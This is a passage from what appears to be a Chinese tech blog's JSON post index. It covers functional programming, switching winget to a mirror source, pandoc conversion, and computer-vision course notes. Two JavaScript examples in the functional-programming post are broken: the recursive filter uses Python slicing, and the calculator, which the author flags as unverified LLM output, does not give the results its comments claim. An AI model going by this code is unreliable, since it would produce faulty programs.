constant_\"\u003eMATCHING_COND\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e processed.\u003cspan class=\"title function_\"\u003epush\u003c/span\u003e(data[i])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为什么?因为上面的\u003ccode\u003emap\u003c/code\u003e,\u003ccode\u003ereduce\u003c/code\u003e,\u003ccode\u003efilter\u003c/code\u003e和\u003ccode\u003eforEach\u003c/code\u003e等都是高阶函数,它们可以被应用于数据源,接受一个函数作为参数,并使用函数处理数据。它们封装了常用的处理数据的流程,比如\u003ccode\u003emap\u003c/code\u003e会将数据的每一项使用传入的函数进行变换,并将它输出到新的数组中;\u003ccode\u003efilter\u003c/code\u003e会使用传入函数处理每一项,根据返回值是否为真将数据放入一个新的数组中并返回,等等。每一个高阶函数都是对于一个具体的数据处理流程的抽象描述,而这部分就是传统的命令式编程难以解决的问题——它们关注具体指令,你需要依靠具体的指令来解决你面对的问题,并自己编写具体的处理过程。\u003c/p\u003e\u003cp\u003e在上面传统的解决方法中,我们创建了变量\u003ccode\u003eprocessed\u003c/code\u003e,创建了用于循环的变量\u003ccode\u003ei\u003c/code\u003e,还使用了循环并规定了循环的结束条件,在循环体中规定了将结果加入循环的条件和流程。这些操作都在函数式操作中被抽象成了若干个高阶函数,我们无需再关心具体如何实现\u003ccode\u003emap\u003c/code\u003e和\u003ccode\u003efilter\u003c/code\u003e等操作,更不用自己去管理其中的状态(比如循环变量和用于保存中间处理结果的变量),实现了\u003cdel\u003e降本增效\u003c/del\u003e用少量代码完成常见需求,并减少了我们花费在状态管理(循环变量的创建,自增,临时变量的创建和改变等)和具体实现上的细节,而让我们只专注于和任务本身相关的部分。\u003c/p\u003e\u003cp\u003e并且,我们使用传递参数的方式将它们\u003cstrong\u003e组合\u003c/strong\u003e在一起,而非通过继承将它们\u003cstrong\u003e耦合\u003c/strong\u003e在一起。这一点意味着函数式编程降低了代码的耦合度,并且提高了代码的复用率:比起来面向对象按照类,通过继承进行复用,函数式编程将复用粒度降低到函数的级别,这也显著减少了无用代码。不过继承除了复用,还有规范和约束实现的作用。函数式编程如何解决这个问题我暂时还不太清楚。不过函数式编程,面向对象编程以及元编程,这三者属于是几乎正交的关系,所以完全可以交叉使用没啥问题。\u003c/p\u003e\u003cp\u003e另外还有一点上面的例子并没有表现出来,那就是关于副作用这一点。这个说法应该和不可变这一点放在一起来讲:上面的循环变量\u003ccode\u003ei\u003c/code\u003e就是一个可变的变量,循环的副作用就是改变了这个变量的值。再比如C指针的经典例子:通过\u003ccode\u003eswap\u003c/code\u003e交换两个变量的值,这就是一个典型的有副作用的函数,它改变了传入参数的值。函数式编程之所以排斥这样做,就是因为它在尽量避免函数的副作用,试图将所有函数变为纯函数:函数的执行结果只依赖于输入的值,而和外部状态无关,并且不改变外部的状态。它借此消除副作用带来的不确定性。而数据的不可变是它消除不确定性的另一个方法,这里就是函数式编程的精髓了:没有可变变量要怎么迭代\u0026#x2F;处理数据?不用迭代了,用递归就行。使用递归也提供了另一个观察问题的方式,比如对上面的迭代筛选例子,我们就可以用递归来改写,从而避免使用循环变量\u003ccode\u003ei\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e processed=[]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"title function_\"\u003eiter\u003c/span\u003e=(\u003cspan class=\"params\"\u003edata\u003c/span\u003e) =\u0026gt; \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(data.\u003cspan class=\"property\"\u003elength\u003c/span\u003e==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(data[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] \u003cspan class=\"variable constant_\"\u003eMATCHES_COND\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] + \u003cspan class=\"title function_\"\u003eiter\u003c/span\u003e(data[\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"title function_\"\u003eiter\u003c/span\u003e(data[\u003cspan class=\"number\"\u003e1\u003c/span\u003e:])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码没用任何可变变量,也完成了数据源的筛选。虽然初次接触不太好想,但是解决大部分问题时,另一种视角确实有时会有意想不到的便利。以及不可变变量的好处也挺多的,比如天然没有竞争和并发问题。\u003c/p\u003e\u003cp\u003e另外关于递归的性能问题,用尾递归可以在受到递归优化的编程语言中得到不输迭代的性能。比如经典的斐波那契数列计算函数,就可以通过尾递归的写法结合语言的优化,达到和迭代写法基本一致的性能。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e下边这例子是LLM写的,暂时没验证\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个高阶函数,用于计算两个数的和\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e(\u003cspan class=\"params\"\u003ea, b\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a + b;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 使用高阶函数组合两个函数,用于计算两个数的和\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sum;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e add = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e subtract = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"params\"\u003ea\u003c/span\u003e =\u0026gt;\u003c/span\u003e a - b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e multiply = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"params\"\u003ea\u003c/span\u003e =\u0026gt;\u003c/span\u003e a * b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e divide = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"params\"\u003ea\u003c/span\u003e =\u0026gt;\u003c/span\u003e a / b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 测试计算器函数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 5\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003esubtract\u003c/span\u003e(\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 3\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003emultiply\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 6\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003edivide\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 5\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"组合\"\u003e\u003ca href=\"#组合\" class=\"headerlink\" title=\"组合\"\u003e\u003c/a\u003e组合\u003c/h2\u003e\u003cp\u003e组合和继承,都是复用代码的重要手段。组合简洁,继承稍微冗杂一些。\u003c/p\u003e\u003cp\u003e组合的概念就是将一些现有的单元组合到一起,形成新的工具去解决具体问题,而组合这个动作的适用对象就不止是函数那么简单了。它可以是函数的组合,可以是类型的组合,也可以是状态和函数的组合。\u003c/p\u003e\u003cp\u003e借\u003cdel\u003e从某大佬那里偷来的\u003c/del\u003e一个说法,大多数新的语法结构就是让人们更合理地去使用固定范式的GOTO,而Algebraic Effect就是其中最合理\u003cdel\u003e那个佬最推崇\u003c/del\u003e的一个。从我的视角看来,主流编程语言的演进都是朝着可读可写且尽可能兼顾效率的方向发展的。在这个过程中,损失的一部分就是语言的”Tricks”,或者说是语言的灵活性\u0026#x2F;可能性等。比如GOTO受到的接连削弱,它从一个十分灵活的结构变成了一堆固定但是更理智的语法结构,以一部分灵活性为代价换取了语言的可读性,以此提升可维护性。\u003c/p\u003e\u003cp\u003e组合呢?组合也是一种对于GOTO的封装。甚至更底层的,汇编中的GOTO,(部分)也就是jmp,它在汇编中也有对应的封装:子程序。而这些说法,对于指针这个原始的内存模型中的概念同样适用。封装提高了可读性,限制GOTO的直接使用限制了代码的可写性。二者的矛盾在足够优秀的语法结构出现前基本上是一对难以调和的矛盾。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/functional-thinking/"},{"title":"winget换源","time":"2023-12-09T12:35:48Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003ewinget 是 Windows 的一个包管理器,可以用来安装、卸载、更新和搜索软件。winget 默认使用的是 Microsoft Store 的源,但是也可以换成其他的源,比如中科大的源。\u003c/a\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e1\u003c/a\u003e\u003ca href=\"https://www.zhihu.com/question/509903409\"\u003e2\u003c/a\u003e\u003c/p\u003e\u003cp\u003e如果您想换源,您需要以管理员身份运行终端,然后使用以下命令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e删除默认的源:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewinget \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e remove winget\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e添加中科大的源:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewinget \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e add winget https://mirrors.ustc.edu.cn/winget-source\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e重置为官方的源:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewinget \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e reset winget\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e\u003c/a\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e1\u003c/a\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e: WinGet 源使用帮助 — USTC Mirror Help 文档\u003c/a\u003e \u003ca href=\"https://www.zhihu.com/question/509903409\"\u003e2\u003c/a\u003e: winget是否可以用国内镜像? - 知乎\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/winget/"},{"title":"pandoc初窥","time":"2023-12-09T12:10:50Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003epandoc 是一个使用 Haskell 语言编写的一款跨平台、自由开源及命令行界面的标记语言转换工具,可实现不同标记语言间的格式转换,堪称该领域中的“瑞士军刀。pandoc 支持的输入和输出格式范围广泛,包括但不限于 Markdown、HTML、DOCX、PDF、LaTeX、EPUB 等。\u003c/p\u003e\u003cp\u003epandoc 不是 python 的库,但是有一个 python 的封装,叫做 pypandoc,可以在 python 代码中调用 pandoc 的功能。pypandoc 可以使用 pip 命令安装,例如:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epip install pypandoc\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003epandoc 的日常用法主要是通过命令行来转换文档,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epandoc input.md -o output.html\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个命令就是将 input.md 这个 Markdown 文件转换为 output.html 这个 HTML 文件。pandoc 还有很多其他的选项和参数,可以参考 pandoc 的文档。\u003c/p\u003e\u003cp\u003epandoc 也可以在 python 代码中使用 pypandoc 来转换文档,例如:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pypandoc\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoutput = pypandoc.convert_file(\u003cspan class=\"string\"\u003e\u0026#x27;input.md\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;html\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(output)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这段代码就是将 input.md 这个 Markdown 文件转换为 HTML 字符串,并打印出来。pypandoc 还有其他的方法和参数,可以参考 pypandoc 的\u003ca href=\"https://blog.csdn.net/VN520/article/details/129120364\"\u003e文档\u003c/a\u003e。\u003c/p\u003e\u003cp\u003epandoc 是一个非常强大和灵活的文档转换工具,可以帮助你在不同的文档格式之间进行转换,特别是对于 Markdown 这种简洁易用的标记语言,可以轻松地生成 PDF、电子书、幻灯片等多种形式的文档。\u003c/p\u003e\u003ch2 id=\"格式转换\"\u003e\u003ca href=\"#格式转换\" class=\"headerlink\" title=\"格式转换\"\u003e\u003c/a\u003e格式转换\u003c/h2\u003e\u003cp\u003e刚好今天得提交个Word报告,但是写东西我还是喜欢Vim,于是就打算写完转换成Word。正打算手动转换\u0026#x2F;网页在线转换的时候想起来了这个玩意——\u003c/p\u003e\u003cp\u003e然后就一行秒了。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epandoc -o $(OUTPUT) -f markdown -t docx $(MARKDOWN) \u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我直接从Makefile里摘出来的。用Makefile的话,写完敲个make就行。\u003c/p\u003e\u003cp\u003e最让我吃惊的是这玩意速度奇快,转换个快4000字的Markdown到Word,几乎跟我echo个字符串一样快,这还是我在7代intel移动端平台上测试的(?A?)\u003c/p\u003e\u003cul\u003e\u003cli\u003eMarkdown转Tex,速度也很快\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epandoc -w latex ./test.md -o test.tex\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/pandoc_note/"},{"title":"计算机视觉学习笔记","time":"2023-11-06T12:02:29Z","content":"这学期报了计算机视觉这门课,和大一停留在理论上的导论课比起来总算是多了一些实质性的内容和算法。几个lab设计也不错,对理解其本质有所帮助,就是这个讲课和PPT有点(*/ω\*)\u003chr /\u003e\u003cp\u003e之前导论课程上学的基本都是思想和原理,到这里就开始接触真正数学和工程的方法了。\u003c/p\u003e\u003ch2 id=\"序\"\u003e\u003ca href=\"#序\" class=\"headerlink\" title=\"序\"\u003e\u003c/a\u003e序\u003c/h2\u003e\u003cp\u003e这门课的研究思路很清晰,就是围绕标题,自底向上,借助数学工具,一步一步实现各种复杂的功能以及算法,最终一步步接近让计算机拥有“视觉”的目标。\u003c/p\u003e\u003cp\u003e首先是数据的表示,概念的抽象,如何用离散的数据去近似抽象的视觉这个概念。这个过程通过直观理解和数学工具,以及建模方法,为计算机视觉提供了一种可行的数学上的表示和运算方法:像素,以及基于像素的一系列运算,比如滤波,仿射变换,更高自由度的变换,基于像素颜色值的变换等等,以及由这一系列变换得到的图像特征。\u003c/p\u003e\u003cp\u003e其次,是研究在图像的像素模型下,利用数学方法去研究分析以及利用图像特征的方法。这其中,就有诸如角点检测,边缘检测,全景图拼接以及处理等命题。\u003c/p\u003e\u003ch2 id=\"生成对抗网络GAN\"\u003e\u003ca href=\"#生成对抗网络GAN\" class=\"headerlink\" title=\"生成对抗网络GAN\"\u003e\u003c/a\u003e生成对抗网络GAN\u003c/h2\u003e\u003cp\u003e通俗来说就是让两个网络作为对抗组,比如说生成图片的NN和鉴别图片的NN,两方轮流作为输入输出(也就是交替训练),在循环中不断提升两个网络的效果,最终达到生成内容以假乱真的效果。NN炼丹的关键是其中的loss函数设计,不过他们的做法是直接用另一个NN作为这个NN的loss函数来回馈训练效果。\u003c/p\u003e\u003cp\u003e目前比较突出的成果一个就是近几年的Stable Diffusion,算是这里边比较突出的一个了。这东西在图像的有损压缩里边用的也多,至于有损压缩的应用嘛,一般在一些需要使用算力去换带宽的场合很适用,比如卫星数据传输。其他应用就是图像的填充和补全,比如合理推测图像的缺失部分内容。另外就是,网络的输入不一定是噪声,输出也不一定是真假。改变其输入和输出的类型,可以赋予NN以不少是实用场景。\u003c/p\u003e\u003cp\u003eGAN的优点是效果好,比以前用的高斯模糊的效果都很好。但是问题也很突出,就是GAN很难训练。GAN的两方是生成器和判别器,训练的结果很大程度上与两方的能力是否足够接近有很大关系。\u003c/p\u003e\u003cp\u003e另外就是GAN的思想重点在对抗,并没有要求其他的条件。所以比如说可以有多个判别方,有多个生成方等。\u003c/p\u003e\u003ch2 id=\"Attention-Is-All-You-Need\"\u003e\u003ca href=\"#Attention-Is-All-You-Need\" class=\"headerlink\" title=\"Attention Is All You Need\"\u003e\u003c/a\u003eAttention Is All You Need\u003c/h2\u003e\u003cp\u003e注意力机制一开始是应用于机器翻译领域,通过一个合适的重点词语权重标注机制,让算法更有重点地提取概要。如今的GPT也很大程度上受到注意力机制的启发才产生了不断预测下一个词向量概率的朴素思想。\u003c/p\u003e\u003cp\u003e注意力机制可以理解成给分词加上权重。将一个句子进行分词作为一个向量,将这个词语向量通过Softmax这样的激活函数进行处理之后,再借助矩阵进行变换,从而得到处理后的,带有权重的词向量。处理后的词向量,权重总和为1。加权后的句子,再进行翻译,效果就会好很多了。\u003c/p\u003e\u003cp\u003e至于将Attention思想迁移到CV领域进行应用的方法,关键是将图像”语义化“。一个常用的方法是将图像分割,分割成小块,对每个小块采用相同的思想。这就是VIT(Vision Transformer)的思想。\u003c/p\u003e\u003ch2 id=\"激活函数\"\u003e\u003ca href=\"#激活函数\" class=\"headerlink\" title=\"激活函数\"\u003e\u003c/a\u003e激活函数\u003c/h2\u003e\u003ch3 id=\"Softmax\"\u003e\u003ca href=\"#Softmax\" class=\"headerlink\" 